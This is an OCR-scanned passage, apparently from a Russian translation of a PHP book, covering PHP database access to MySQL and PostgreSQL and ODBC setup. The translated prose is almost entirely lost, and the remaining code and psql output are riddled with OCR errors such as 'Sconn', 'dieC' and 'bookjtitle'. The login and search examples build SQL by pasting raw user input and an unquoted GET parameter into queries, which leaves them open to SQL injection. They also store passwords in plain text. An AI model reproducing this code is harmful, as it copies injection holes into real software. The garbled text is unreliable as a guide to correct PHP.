DB, . :
<?php
require_once("DB.php");
$db = new DB( 'localhost' , ' j o n ' , ' s e c r e t 1 , 'Library');
if (!$db->open()) {
die($db->error());
if (!$db->query( "DELETE FROM author WHERE auth_name='Jon Parise'")) {
die($db->error());

echo( "Affected rows: " . $db->affectedRows() . "<br />");


$db->freeResult();
$db->close();

. 17.13.

.

709

IU hHp:/,. localhost/ProPHP4/Chepterl7/lest_detete4il4l -:|8


* Sew Search go Bookmarks tasks ttetp
"

liia'X.

Affected rows: 1
Document Den* (0,341 sees)

Puc. 17.13. DB

MySQL. API
, ,
;
.

, .
MySQL, , . :

(SQL)
MySQL
,

18
PHP PostgreSQL
PHP . 17 ,
MySQL. PostgreSQL.
PostgreSQL - . PostgreSQL
. ,
, .
, MySQL ( ), a PostgreSQL (- ), ,
- .
MySQL , PostgreSQL , . , , ,
; , ,
.
17 , ,
(SQL). ,
, SQL.
:
PostgreSQL
PostgreSQL
, , 17,
PostgreSQL
17, PostgreSQL

PostgreSQL

711

PostgreSQL
, PostgreSQL . postmaster. postmaster
SQL, . SQL.
, .
PHP- PostgreSQL
, . PostgreSQL ODBC. PostgreSQL --with-pgsql .
.
PostgreSQL
MySQL. , psql. , psql , . psql:
$ psql library
Welcome to psql, the PostgreSQL interactive terminal.
Type: \copyright for distribution terms
\h for help with SQL commands
\? for help on internal slash commands
\g or terminate with semicolon to execute query
\q to quit
library=#
l i b r a r y .
, . , .
Beginning Databases with PostgreSQL Wrox Press (ISBN 1-8610515-6) PostgreSQL http://www.postgresql.org/idocs/.
SQL psql .
(\), -. -, \? psql.

712

18. PHP PostgreSQL

CREATE DATABASE
CREATE DATABASE database_name
.
l i b r a r y , psql :
psql=# CREATE DATABASE library;
CREATE DATABASE .
. SQL
.
,
\connect:
psql=# \connect library
You are now connected to database library.
library=#
MySQL USE.
CREATE TABLE
CREATE [TEMPORARY | TEMP] TABLE table_name (
{column_name type [column_constraint [...]] |
table_constraint } [, ...])
[INHERITS (inherited_table [, ...])]
column_const raint :
[CONSTRAINT constraint_name]
{NOT NULL | NULL | UNIQUE | PRIMARY KEY | DEFAULT value | CHECK (condition) |
REFERENCES table [(column)] [MATCH FULL | MATCH PARTIAL]
[ON DELETE action] [ON UPDATE action]
[DEFERRABLE | NOT DEFERRABLE] [INITIALLY DEFERRED | INITIALLY IMMEDIATE] }
table_const raint :
[CONSTRAINT constraint_name]
{UNIQUE (column_name [, ...]) |
PRIMARY KEY (column_name [, ...]) |
CHECK (condition) |
FOREIGN KEY (column_name [, ...]) REFERENCES table [(column [, ...])]
[MATCH FULL | MATCH PARTIAL] [ON DELETE action] [ON UPDATE action]
[DEFERRABLE | NOT DEFERRABLE] [INITIALLY DEFERRED | INITIALLY IMMEDIATE] }

PostgreSQL

713

CREATE TABLE . PostgreSQL.


:
= CREATE TABLE details (
library(tt ISBN VARCHAR (13) PRIMARY KEY not NULL,
library(ff price FLOAT,
library(jf num_of_bopks INT not NULL,
library( num_booked INT NOT NULL,
library(# series_ID INT NOT NULL
libraryOf);
NOTICE: CREATE TABLE/PRIMARY KEY will create implicit index 'details_pkey' for
table 'details'
CREATE
, PostgreSQL
.
, , MySQL, , . MySQL , , PostgreSQL. SQL,
VARCHAR INT, .
title:
library=# CREATE TABLE title (
library(ft ISBN VARCHAR(13) NOT NULL PRIMARY KEY,
library( book_title VARCHAR (255) NOT NULL
();
NOTICE: CREATE TABLE/PRIMARY KEY will create implicit index 'title_pkey' for
table 'title'
CREATE
- \d psql .
. . Modifier , NOT NULL. , . details_pkey ( ):
library=ff \d details
Table "details"
Attribute I
Type
isbn
| character varying(13)
price
| double precision
num_of_books | integer
num_booked | integer
series_id
| integer
Index: details_pkey

| Modifier
-(-

| not null

| not null
| not null
| not null

714

18. PHP PostgreSQL

:
library=# CREATE TABLE author (
library(
auth_id SERIAL PRIMARY KEY,
library(# auth_name VARCHAR (128) NOT NULL
library(#);

NOTICE: CREATE TABLE will create implicit sequence 'author_auth_id_seq' for


SERIAL column 'author.auth_id'
NOTICE: CREATE TABLE/PRIMARY KEY will create implicit index 'author_pkey' for
table 'author'
CREATE
, : SERIAL. SERIAL
AUTO_INCREMENT MySQL. (author_auth_id_seq), :
library^ CREATE TABLE authortitle (
libraryO* ISBN VARCHAR (13) NOT NULL,
library(# authJD INT NOT NULL,
library(#
PRIMARY KEY (ISBN, authJD)
library(tt);

NOTICE: CREATE TABLE/PRIMARY KEY will create implicit index 'authortitle_pkey'


for table 'authortitle1
CREATE
,
: ISBN auth_ID. PostgreSQL :
library=# CREATE TABLE series (
library(# series JD SERIAL PRIMARY KEY,
library(# book_series VARCHAR (64) NOT NULL
library(S);
NOTICE: CREATE TABLE will create implicit sequence 'series_series_id_seq' for
SERIAL column 'series.series_id'
NOTICE: CREATE TABLE/PRIMARY KEY will create implicit index 'series_pkey' for
table 'series'
CREATE
library=# CREATE TABLE users (
library(# username CHAR (32) PRIMARY KEY,
libraryU password CHAR (32) NOT NULL
library(ft);
NOTICE: CREATE TABLE/PRIMARY KEY will create implicit index 'users_pkey' for
table 'users'
CREATE

ALTER TABLE
ALTER TABLE [ONLY] table [*]
ADD [COLUMN] column type

PostgreSQL

715

ALTER TABLE [ONLY] table [*]


ALTER [COLUMN] column { SET DEFAULT value | DROP DEFAULT }
ALTER TABLE table [*]
RENAME [COLUMN] column TO newcolumn
ALTER TABLE table
RENAME TO newtable
ALTER TABLE table
ADD table constraint definition
ALTER TABLE table
OWNER TO new owner
ALTER TABLE . , details :
library=ff ALTER TABLE 'details ADD COLUMN;pages INT;
ALTER
library=# \d details
Table "details"
Attribute I
6
+

' _

Modifier
.

-.

isbn
| character varying(13)
| double precision
price
num_of_books | integer
num_booked I integer:
| integer
series_id
| integer
pages
Index: details_pkey

not null
not null
not null
not null

PostgreSQL . .
ALTER TABLE :
library=# ALTER TABLE details RENAME COLUMN pages TO num_pages;
ALTER
library=s \d details
Table "details"
Attribute |
Type
| Modifier
| character varying(13) |
isbn
| double precision
price
I
|
num_of_books | integer
|
num_booked | integer
| integer
|
series_id
| integer
num_pages
I
Index: details_pkey

not null
not null
not null
not null
:*

PostgreSQL .
,
, , .

18. PHP PostgreSQL

716

num_booked num_pages details :


CREATE TABLE temp AS SELECT ISBN, price, num_of_books, series_ID FROM details;
DROP TABLE details;
CREATE TABLE details (
ISBN
VARCHAR(13) PRIMARY KEY,
price
FLOAT, ,
num_ofbooks
INT NOT NULL,
:
seriesJD INT NOT NULL

);'

INSERT INTO details SELECT'* FROM temp; :


DROP TABLE temp;
DROP TABLE
DROP TABLE name [.

...]

( )
. f o r m a t s timezones:
library= DROP TABLE formats, timezones;
DROP

DROP DATABASE
DROP DATABASE database_name
, , :
template1=tf drop database library;
DROP DATABASE
DROP, .


,
.
INSERT
INSERT INTO table [(column [, ...])]
{DEFAULT VALUES | VALUES (expression [, ...]) | SELECT query}
INSERT . ,

(). SQL , .
NULL :

PostgreSQL

717

library=# INSERT INTO title


library-
VALUES ('1861005156', 'Beginning Databases with PostgreSQL')
library- ;
INSERT 101798 1

,
, .
DELETE
DELETE FROM [ONLY] table [WHERE condition]

DELETE . WHERE - DELETE, UPDATE SELECT, , .


, ISBN "1861003730":
Library=# DELETE FROM title WHERE ISBN = '1861003730';
DELETE 1 . . ;

WHERE DELETE, .

UPDATE
UPDATE [ONLY] table SET col = expression [, ...]
[FROM fromlist]
[WHERE condition]
UPDATE .
WHERE.
, ,
ISBN. , ISBN :
= UPDATE title SET book_title='New Title' WHERE ISBN='1861003730';
UPDATE 1

PostgreSQL ,
UPDATE DELETE . , author_ID
a u t h o r , author_title ,
. ,
UPDATE DELETE.
WHERE UPDATE, .
SELECT
SELECT [ALL | DISTINCT [ON (expression [, ...])]]
* | expression [AS output_name] [, ...]

718

18. PHP PostgreSQL


[FROM from_item [, ...]]
[WHERE condition]
[GROUP BY expression [-, ...]]
[HAVING condition [, ...]]
[{ UNION | INTERSECT | EXCEPT [ALL] } select]
[ORDER BY expression [ASC | DESC | USING operator] [, ...]]
[FOR UPDATE [OF tablename [, ...]]]
[LIMIT { count | ALL } [{ OFFSET | ,} Start]]

f rom_item :
[ONLY] table.name []
[[AS] alias [(column_alias_list)]]
!

(select)
[AS] alias [(column_alias_list)]
i
from_item [NATURAL] join_type from_item
[ON join_condition | USING (join_column_list)]
SELECT .
, :
library=tf SELECT ISBN, price FROM details;
isbn
| price
1861003730 | 39.95
1861005156 | -39.95
1861005083 | 29.95
1861002092 | 49.95
1861005334 | 24,95
(5: rows) ;:
(*):
library= SELECT * FROM details;
isbn | price | num_of_books | num_booked | series_id
1861003730
1861005156
1861005083
1861002092
1861005334
(5 rows)

I 39,95 |
39. 95 |
I 29.95 |
[ 49.95 |
| 24.95 |

10 |
10 |
10 |
10 |
10 | .

10 I
10 |
10 |
10 I
10 I

1
1
1
1
1

WHERE SELECT ,
DELETE UPDATE. , 39.95, :
library=# SELECT * FROM details WHERE price >= 39.95;
isbn
| price | num_of_books | num_booked | series_id
. __

__^

-).

1861003730 | 39.95 |

10 |

-f---'

10 |

,-

'"'.'

'

PostgreSQL
1861005156 | 39,95 |
1861002092 | 49.95 |
(3 rows)

719
10 |
10 |

10 |
10 j

1
1

ORDER BY
:
library= SELECT * FROM details WHERE price >= 39.95 ORDER BY ISBN;
iSbn | price | num_of_books | num_booked | series_id
r

_ __-!-___ _.

1861002092 | 49.95 |
1861003730 | 39.95 |
1861005156 | 39.95 |
(3 rows) -

10 |
10 I
10 | ;.% 10 |
/no i
10 I

1
1
1

PostgreSQL
PostgreSQL,
PostgreSQL. PostgreSQL.
http://www.php.net/pgsql/.

pg_connect()
int pg_connect( string conn_string)

PostgreSQL,
, . , , - false:

<?php
//Connect. php
$conn = pg_connect("dbname=library user=postgres")
,
or dieC'Could not connect to PostgreSQL.");
echo( "Connection successful.");
pg_close($conn);
:

(. 18.1):
18.1.

Dbname
User
Password


SPGDATABASE
.SPGUSER

SPGPASSWORD or none

720

18. PHP PostgreSQL

18.1 ()

Host
Hostaddr

IP-

$PGHOSTADDR

Port

TCP/IP

$PGPORTor5432

SPGHOSTor localhost

, , :
dbname=library user=jon password=secret host=db.example.com

, , ,
. pg_close() .
pg_connect(), ,
, . http://www.php.net/manual/en/function.pg_connect.php.

pg_pconnect()
int pg_pconnect(string conn_string)
p (persistent) .
pg_pconnect() pg_connect(), pg_close() .
.
pg_pconnect() , .
,
, .

CGI. , ,
-, CGI.
, , .
. ,
( ). .

pg_close()
boolean pg_close(int connection)

PostgreSQL

721

PostgreSQL,
, t r u e false . ,
.

pg_dbname()
string pg_dbname(int connection)
, . false,
. :
<?php

//OBName.php
$conn = pg_connect("dbname=library user=postgres");
echo( "Current database: " . pg_dbname());
pg_close($conn);

pg_exec()
int pg_exec(int connection, string query)
pg_exec( ) PostgreSQL
SQL, . , t r u e false
. SELECT .
pg_fetch_*( ) ( ) :
<?php
//Exec.php
$conn = pg_connect("dbname=library user=postgres");
$result = pg_exec($conn, "SELECT * FROM title");
pg_close($conn);
?>

pg_cmdtuples()
int pg_cmdtuples(int result_id)

pg_cmdtuples( ) (), _( ). INSERT,


UPDATE DELETE. , pg_cmdtuples( ) 0:
<?php
//Tuples. php
Sconn = pg_connect("dbname=library user=postgres") or
die(pg_errormessage( ) ) ;

722

18. PHP PostgreSQL


$sql = "UPDATE Details SET : num_of_books=9 WHERE ISBN='1 861003730 "';'
$ result- = pg_exec($conn, $sql);
if (Sresult) {
:
$af f ectedRows . = pg_cmdtuples($result);
echo("$aff ectedRows record(s) updated.");
} else {
echo( "Query failed: $sql");
}
pg_close($conn);

pg_numrows()
int pg_numrows(int result_id)
pg_numrows( ) SELECT:
V

<?php
//Numrows.php
$conn = pg_connect("dbname=library user=postgres") or
die( pg_errormessage( ) ) ;
$sql = "SELECT book.title FROM title";
:
$result = pg_exec($conn, $sql);
if ($ result) {
SnumRows = pg_numrows($result);
echo("$numRows record(s) retrieved. ");
} else {
echo( "Query failed: $sql");
}
pg_close($conn);
?>

pg_result()
mixed pg_result(int result_id, int row_number, mixed fieldname)
pg_result() . pg_fetch_*( ), .
pg_result()
:
<?php
//Result. php
$conn = pg_connect("dbname=library user=postgres") or
die(pg_errormessage());
$sql = "SELECT bookjtitle FROM title";
$result = pg_exec($conn, $sql);
if (Sresult) {

PostgreSQL

723

ftitle = pg_result($result, 0, 'book_title');


echo("The title of the first book is $title.");
} else {
echo("Query failed; $sql");
}

pg_close($conn);
?>

PostgreSQL . ,
. BOOK_TITLE,
,
BOOKJITLE.

pg_fetch_object()
object pg_fetch_object(int result, int row [, int result_type])
pg_fetch_object() SELECT.
, . , pg_fetch_object( false.
.
pg_fetch_object()
while, .
pg_f etch_object() . , pg_fetch_object() false, :
<?php

//Fetch J)bject.php
$conn = pg_connect("dbname=library user=postgres") or
die(pg_errormessage());
$sql = "SELECT ISBN, bookjtitle FROM title";
$result = pg_exec($conn, $sql);
$row_counter - 0;
while ($row = @pg_fetch_object($result, $row_counter)) {
echoC'ISBN: " . htmlspecialchars($row->ISBN) .
", Title: " . htmlspecialchars($row->book_title) . "<br>");
$row_counter++;
}
pg_freeresult($result);
pg_close($conn);
?>
@, pg_fetch_object(). pg_fetch_object()
"Unable to j u m p - t o row 2 on PostgreSQL result index 2"
( 2 ),

724

18. PHP PostgreSQL

. ,
.
, . htmlspecialchars() ,
( < &)
.

pg_fetch_row()
array pg_fetch_row(int result, int row)

pg_fetch_row( ) pg_fetch_object( ),
, , :
<?php

//Fetch_Row.php
$conn = pg_connect("dbname=library user=postgres") or die(pg_errormessage());
$sql = "SELECT ISBN, book_title FROM title";
$result = pg_exec($conn, $sql);
$row_counter - 0;
while ($row = @pg_fetch_row($result, $row_counter)) {
echoC'ISBN: " . htmlspecialchars($row[0]) . ;
", Title: " . htmlspecialchars($row[i]) . "<br>");
$row co'unter--;
'} '-:

i -,

: ...

'

">'.

'

pg_free result ($result);


pg_close($conn);

pg_fetch_array()
array pg_fetch_array(int result, int row [, int result_type])

pg_fetch_array( ) . , ,
pg_fetch_row(),
: (PGSQL_NUM), (PGSQL_ASSOC)
(PGSQL_BOTH).

pg_fetch_row()
pg_fetch_array():
<?php ,
//Fetch_Array.php
$conn = pg_connect("dbname=library user=postgres") or
d ie ( pg_e r ro rmessage ( ) ) ;
$sql = "SELECT ISBN, book_title FROM title";
$result = pg_exec($conn, $sql);
$row_counter = 0;
while ($row = @pg_fetch_array($result, $row_counter, PGSOL_NUM)) {
echo("ISBN: " . htmlspecialchars($row[0]) .
", Title: " . htmlspecialchars($row[1]) . "<br>");

725

$row_counter++;
}
pg_freeresult($result);
pg_close($conn);
?>

, :
<?php

//Fetch_Assoc.php
$conn = pg_connect("dbname=library user=postgres") or
die(pg_errormessage());
$sql = "SELECT ISBN, book_title FROM title";
$result = pg_exec($conn, $sql);
$row_counter = 0;
while ($row = @pg_fetch_array($result, $row_counter, PGSQL_ASSOC)) {
echo("ISBN: " . htmlspecialchars($row['isbn']) .
", Title: " . htmlspecialchars($row['book_title']) . "<br />");
$row_counter++;
}
pg_freeresult(Sresult);
pg_close($conn);
?>
, pg_fetch_array()
(PGSQL_BOTH). , , , . pg_fetch_array()
PGSQL_NUM PGSQL_ASSOC .

pg_freeresult()
int pg_freeresult(int result_id)
pg_f reeresultO . , . , , .


PostgreSQL,
, 17. , .
MySQL
PostgreSQL.

726

18. PHP PostgreSQL

(login, php).
. ,
:
//
$ = mysql_connect('localhost', 'jon', 'secret') or die(mysql_error());
mysql_select_db('Library', $conn) or die(mysql_error());
//
$sql = "SELECT username FROM Users WHERE username = .
lusername t :'" and password = '" . Spassword . '"";
$result = mysql_query($sql, Sconn);
//
Ssuccess = false;
if (@mysql_result($result, 0, 0) == $username) {
$success =: true;
}
mysqi_close($conn);
- PostgreSQL, MySQL. :
//
$ = pg_connect('dbname=library use.r=jon passwqrd=secret')
or die(pg_errormessage());
SQL. SQL
, MySQL, mysql_query() _():
//
$sql = "SELECT username FROM users WHERE username = '" .
$username . "' and password = '" . $password . ;
Sresult = pg_exec($conn, $sql);
. pg_result() mysql_result():
//
Ssuccess = false;
if (trim(@pg_result($result, 0, 'username')) == Susername) {
Ssuccess = true;
}
PostgreSQL CHAR
( 32 ). trim(), .
, mysql_close() pg_close():
//
pg_close($conn);

727

l o g i f r . p h p c MySQL PostgreSQL .
users:
library=# INSERT INTO users VALUES ('jon', 'secret');
INSERT 101831 1
search.php.
:
// MySQL
Sconn = mysql_connect('localhost', 'jon', 'secret') or die(fnysql_error());
//
mysql_select_db('Library', $conn) or die(mysql_error());
//
$sql = "SELECT series_ID, book_series FROM Series";
$ result = mysql_query($sql, $conn);
// <option> <select>
if ($result && (mysql_nura_rows($result) >"0)) {
while ($row = mysql_fetch_assoc($result)) {
$option = sprintf('<option value="%d">%s</option>',
$row['series_ID'], $row['book_series']);
echo("$option\n");
}
} else {
echo("<option>No series are available</option>\n");
>
mysql_close(Sconn);
mysql_connect(), mysql_select_db(), mysqljue r y ( ) mysql_close() PostgreSQL.
.
mysql_num_rows() pg_numrows():
if ($result && (pg_numrows($result) > 0)) {

. mysql_fetch_assoc(),
pg_fetch_assoc() PosgreSQL? pg_f etch_array(), , . PostgreSQL .
:
$row_counter.= 0;
while ($row = pg_fetch_array($result, $row_counter, PGSQL_ASSOC)) {
$option = sprintf('<option value="%d">%s</option>',
$row['series_ID'-], $row['book_series']);
echo("$option\n");

728

18. PHP PostgreSQL


$row_counter++;

, , results. php. .
, :
"--// MySQL
$conn = fnysql_connect('iocalhost', 'jon', 'secret') or die(mysql_error());
//
mysql_selec,t_db( ' Library ' , ; $conn) or die(ft>ysql_error( ) );
//
Iquery = addslasnes($HTTP_GET_VARS[ 'query']);
Sseries = $HTTP_GET_VARS[ 'series'];
$type = $HTTP_GET_VARS['type'];
//
$sql = "SELECT book^title, auth_name,: price " .
"FROM TitleiJ Details, Author, : AuthorTitle,: Series " .
"WHERE Author. auth_ID;= AuthorTitle.auth_IO AND " . ::j:
; "AuthorTitle. ISBN = Title. ISBN AND Title. ISBN = Details. ISBN AND " .
"Details. series_ID = Series. series_ID";
;:
: ;
//
if (! empty ($series)) {
$sql .= " AND Series. series_ID = $series";
}
if (!empty($query) && ! empty ($type)) {
if ($type == 'isbn') {
$sql .= " AND Details. ISBN -,'$query"'; :
, ,. } elseif ($type == 'author') {
$sql .= "AND Author. auth_name LIKE '%$query%'";
; ; ; } elseif ($type == 'title') {
$sql.= "AND Title. book_title LIKE '%$query%'";

Sresult = mysql_query($sql, $conn);


// <option> <select>
if (Sresult && (mysql_num_rows($result) >.0)j {
while ($row = mysql_fetch_assoc($resulf)) {
:

?>'''

. ' -...:' '-' : .

<tr>
.
j;
: <td><ux?php echo(htmlspecialchars($row['book_title'])); ?x/ux/td>
<td><?php echo(htmlspecialchars($row[ 'auth_name ']));! ?x/td>
<td>$<?php echo(htmlspecialchars($row['price']));
</tr>
<?php
'
'

729

} else {
echo("<trxtd colspan=\"3\">No matches were found. </tdx/tr>\n");
:

M ;f;

mysql_close($conn) ;

, MySQL PostgreSQL.
PostgreSQL:
// PostgreSQL
Sconn = pg_connect('dbname=library user=jon password=secret')
or die(pg_errormessage());
//
$query = addslashes($HTTP_GET_VARS[ 'query']);
Sseries = $HTTP_GET_VARS[' series'];
Stype = $HTTP_GET_VARS['type'];
//
$sql = "SELECT book_title, auth_name, price " .
"FROM title, details, author, authortitle, series " .
"WHERE author. auth_IO = authortitle. auth_ID AND " .
"authortitle. ISBN = title. ISBN AND title. ISBN = details. ISBN AND " .
"details. series_ID = series. series_ID";
//
if (!empty($series)) {
$sql .= " AND series. series_ID = Sseries";
}
if (!empty($query) && 1 !empty($type)) {
if ($type == 'isbn ) {
$sql .= " AND details. ISBN = '$query'";
} elseif (Stype == 'author') {
Ssql .= " AND author. auth_name LIKE '%$query%'";
} elseif (Stype == 'title') {
Ssql .= "AND title. bookjtitle LIKE '%$query%'";

$ result = pg_exec( Sconn, Ssql);


// <option> <select>
if (Sresult && (pg_numrows($result) > 0)) {
$row_counter = 0;
while ($row = pg_fetch_array($result, Srow^counter, PG_ASSOC)) {
?>
<tr>
<td><u><?php echo(htmlspecialchars($row[ 'book_title'
<tdx?php echo(htmlspecialchars($row['auth_name' ]));
<td><?php echo(htmlspecialchars($row[' price'])); ?></td>
</tr>

730

18. PHP PostgreSQL


<?php
$row_counter++;

}
} else {
echo("<trxtd colspan=\"3\">No matches were found. </td></tr>\n");

pg_close($conn);
.


17 .
, (MySQL PostgreSQL), , . ,

, . PostgreSQL.

,
, DB. php, PostgreSQL.
MySQL :
class DB
{

/* */
var $host = '';
var $user = '';
var Spassword = '';
var $database = '';
var Spersistent = false;
/* */
var $conn = NULL;
/* Query result */
var $result = false; var $row = 0;
function DB($host, $user, $password, Sdatabase, Spersistent = false)
{
$this->host = $host;
$this->user = Suser;
$this->password = Spassword;
$this->database = $database;
$this->persistent = Spersistent;

731

function open()
{

/* /
if ($this->persistent) {
$func = 'pg_pconnect';
} else {
$func = 'pg_connect' ;

().
, PostgreSQL.
. , $host , host= . ,
.
, PostgreSQL (postmaster) -i. PostgreSQL . host=:
/ */
Sconnstr = :';,';
if (!empty($this->host)) {
$connstr .= 'host=' . $this->host . ' ';
>
if (!empty($this->user)) {
$connstr .= 'user.. $this->user . ' *;
-

- - - , I;:'

'

'

'

if (!empty($this->password)) {
$connstr .= 'password^- ; . $this->password , ' ';

;;;: ::'."' :,-) :

if (!empty($this->database)) {
$connstr .= 'dbname=' . $this->database;
}
.
'::.;
/* PostgreSQL */
$this.->conh = $func($connstr);

if (!$this->conn) {
return false;
return true;

>
function close()
{
return(pg_close($this->conn));

',;;,-

732

18. PHP PostgreSQL


function error()
return(pg_errorinessage());

function query($sql = '')


$this->result = pg_exec($this->conn, $sql);
$this->row = 0;
return($this->result != false);
function affectedRows()

return(pg_cmdtuples($this->result));
}

function numRowsO
return(pg_numrows($this->result));

}
function fetchObject()

DB $row. PostgreSQL
, , .
$row. - , . false.
, .
, $this->row
:
if ($this->row >= pg_numrows($this->result)) {
return false;
$this->row .
, ++
, :
returri(pg_fetch_object($this->result, $this->row++, PGSQL_ASSOC));

733

function fetchArrayO
{
if ($this->row >= pg_numrows($this->result)) {
;'.;,....... return false;
>
return(pg_fetch_array($this->result, $this->row++, PGSQL_NUM));

function fetchAssocO
{
if ($this->row >= pg_numrows($this->result)) {
return false;
}
" ' ;r;iv
return(pg_fetch_array($this->result, $triis->row++; PGSQLJVSSOC));

}
function freeResult()
{
$this->row = 0;
return(pg_freeresult($this->result));

D B . p h p DB PostgreSQL.
pgsql. php, MySQL - mysql. php.
.
,
D B . p h p .
.

( ):
require_once("DB.php");
$db = new DB('localhost', 'jon', 'secret', 'library');
if .(!$db->o'penOy {
die ($db->error());
}
if (!$db->query( - SELECT * FROM author')) {
die ($db->error());
}

echo("Number of rows: " . $db->numRows() . "<br />");


while ($row = $db->fetchAssoc()) {

734

18. PHP PostgreSQL


echo($row['auth_id'] . " " . $row['auth_name'] . "<br />");

}
$db->freeResult();
$db->close();

, DB
, Oracle ODBC. , .


PostgreSQL. , 17,
. :
PostgreSQL
PostgreSQL
, , 17,
PostgreSQL
17, PostgreSQL

19
PHP ODBC
, , , ODBC (Open
DataBase Connectivity) , .
? ? ?
, ?
... . , , ODBC.
ODBC - API, - , (: ) .
?
Oracle, SQL Server, Informix? .
.
, - , ,
, . ODBC , , ,
.
, . MySQL
,
-, Oracle, - Virtuoso.

736

19. PHP ODBC

ODBC , , (
),
ODBC .
; . 17.
:
ODBC
Windows UNIX-
API PHP ODBC
ODBC MS SQL Server
ODBC MS Access

ODBC
, , ODBC, ,
? 1990
UNIX, Oracle, Informix IBM SQL Access Group (SAG),
CLI (Call-Level Interface - ), SQL.
SAG CLI SQL Embedded SQL ( SQL). , SQL

,
API . , SQL , SAG
/Open, SQL, .
SAG CLI SQL, Static SQL ANSI SQL86. , Dynamic SQL, , IBM Informix, CLI SQL - .
1992 Microsoft SQL CLI ,
ODBC, SAG CLI . Microsoft
SAG CLI , ,
SDK , ODBC .
Microsoft OLE-DB ODBC. OLE-DB , -

737

ODBC

ODBC, Microsoft OLE-DB,


ODBC. Microsoft,
, OLE-DB Windows,
. ODBC - ,
SQL, .

ODBC
ODBC . . , .
. ,
(Data Source Name, DSN), ODBC, ODBC
(DM), (. 19.1):

,
ODBC
<?php//ODBC "client" ?>

_r\.
-L/'

odbc.ini


ODBC [

^^) :

^>

___^

. 19.1.

ODBC MyODBC MySQL, MS MS Access


ODBC OpenLink. Microsoft ODBC administrator Windows iODBC UNIX.
DM Windows Linux UNIX. ODBC Windows
. , ,
Windows. PHP- UNIX,
Linux Mac OS X .
, OpenLink Software, iODBC.
Microsoft LGPL BSD. , SDK ODBC-
, GUI.
,
. ODBC, (Data Source

738

19. PHP ODBC

Name, DSN). PHP DSN , .


,
ODBC. ODBC , ,
.
ODBC
,
. ODBC
,
.

SQL
ODBC SQL92. ODBC
SQL, .
, . ODBC , ,
. , API ODBC, SQL- .
.
, ODBC MySQL 3.x .
,

ODBC Windows
ODBC Windows , Microsoft ODBC MDAC
(Microsoft Data Access Components). MDAC ODBC, ODBC DLL.
, php_odbc. dll
p h p . i n i , ODBC Windows. DSN
ODBC. DSN, . . .
, ODBC,
phpinf . php 2. ,
(. 19.2).

739

ODBC UNIX

. File Edit View Search go Bookrnarb lasks

odbc

Active Links
ODBC library

Win32

odhc.allow_pereisteht

On

On

no vai'js

no value

odbc.default_pw

no value

: no value

odbc.default user

no value

no value

return as is

return as is

odbc. check .persistent


oilhc.default

odbc.defaultbinmode
odbc.defaultlrl

return up to 4096 bytes

return Ufi to 4096 bytes

odbc.max links

Unlimited

Unlimited

odhc.max_pereistent

Unlimited

Unlimited

Document: Done (1.102 sees)

Puc. 19.2. ODBC

ODBC UNIX
Linux, UNIX, Mac OS X UNIX- ODBC .
1ODBC ODBC ,
OpenLink Software .
http://www.iodbc.org/ LGPL BSD,
.
1ODBC , 1ODBC. ,
, 1ODBC.
1ODBC , (DSO) CGI. DSO, ( Apache), .
, Linux bash; UNIX .

740

19. PHP ODBC

Apache
. , . , "su - root", root. UNIX , , root .

:
cd /usr/local/src
. taz iODBC SDK http://www.iodbc.org/
opliodbc.htm. 3.0.5.
/usr/local/src/ :
tar xzf

<archive_name>.taz

Apache : http://httpd.apache.org/dist/httpd/'.
/usr/local/src/ :
tar xzf <archive namextar.gz
: http://www.php.net/distributions/.
/usr/local/src/ :
tar xzf Orchive namextar.gz


export LD_LIBRARY_PATH=/usr/local/src/odbcsdk/lib
LD_LIBRARY_PATH , .
: Mac OS X Darwin LD_LIBRARY_PATH, a
DYLD_LIBRARY_PATH, export setenv.1

Apache
cd apache_1.3.x
./configure --prefix=/www
setenv , , . Setenv - csh
(tcsh), export - sh (bash). bash, export, csh/tcsh - setenv. - . . .

ODBC UNIX

741

PHP
cd ../php-4.x.x
./configure -with-iodbc=/usr/local/src/odbcsdk \
--with-apache=../apache_1.3.x --enable-track-vars
make
make install
Apache sre/modules/
php4/.

Apache
cd ../apache_1.3.x
./configure -prefix=/ww --activate-module=src/modules/php4/libphp4.a
make
:
:
;
make install
.
> *;-^ 0.
;-;'";;
: ; ,

php.ini
cd ../php-4.x.x
cp php.ini-dist /usr/local/lib/php.ini

Apache
httpd.conf ( #)
:
SAddType application/x-httpd-php .php
HAddType application/x-httpd-php-source . phps

, Apache:
/www/bin/apache start ( restart)


phpinfo. php, , (. . 19.2).
Apache
LD_LIBRARY_PATH:
export I_D_LIBRARY_PATH =/usr/local/src/odbcsdk/lib

, libiodbc. so. , . login . profile. 1


UNIX, Linux FreeBSD, Idconf ig. (, ,
Idconf ig, ),
LD_LIBRARY_PATH . - . ..

742

19. PHP ODBC

,
1ODBC. , Apache
, libiodbc.so. 1ODBC
.
libiodbc. so , , LD_LIBRARY_PATH ,
libiobc. so.

API PHP ODBC


ODBC ,
ODBC API. ODBC. http://www.php.net/odbc/.
: , , . , ,
(result identifiers), .

, SQL.
(connection identifiers).


, ODBC. , MS Access MS SQL
Server.

odbc_connect()
int odbc_connect(string dsn, string user,
string password [, int cursor_type]>

ODBC DSN , . - 0 :
<?php
$conn_id = odbc_connect("foo", "user", "pass") or die(odbc_error());
echo("Connection successful.");
odbc_close($conn_id);

API PHP ODBC

743

odbc_close() odbc_close_all()
void odbc_close(int connection_id)
void odbc_close_all()
ODBC; odbc_close() ,
odbc_close_all() ODBC.
: . , .

odbc_pconnect()
int odbc_pconnect(string dsn, string user, string password [, int cursorjtype])

.
odbc_connect() ,
, .
, ,
. , ,
odbc_connect(), .
, CGI, odbc_pconnect()
, odbc_connect().


- . ,
. : , , .

odbc_error() odbc_errormsg()
string odbc_error([int connection_id])
string odbc_errormsg([int connection_id])
, odbc_error() ODBC
. odbc_error()
odbc_errormsg() ,
ODBC. connection_id , ,
. , .

odbc_fleld_name()
string odbc_field_name(int result_id, int field_number)

744

19. PHP ODBC

() ( 1):
$fieldname = odbc_field_name($resultiid, $field_number);

;:

!:

odbc_field_num()
int odbc_field_num(int result_id, string field_name)
odbc_field_name(), . .
( 1):
Sfieldnum = odbc_field_num($result_id, 'myfield');

odbc_field_type()
string odbc_field_type(int result_id, int field_number)
( 1):
$data_type = odbc_field_type($result_id, $field_number);
odbc_f ield_len() odbc_field_precision()
int odbc_field_len(int result_id, int field_number)
string odbc_field_precision(int result_id, int field_number)
;
, , ( 1):
Slength = odbc_field_len($result_id, $field_number);
, ,
VARCHAR(255) 255.

odbc_tables()
int odbc_tables(int connection_id [, string qualifier [, string owner
[, string name [, string types]]]])
, ,
, (qualifier), (owner) (name).
:
TABLE_QUALIFIER
TABLE_OWNER
TABLE_NAME
TABLE_TYPE
REMARKS

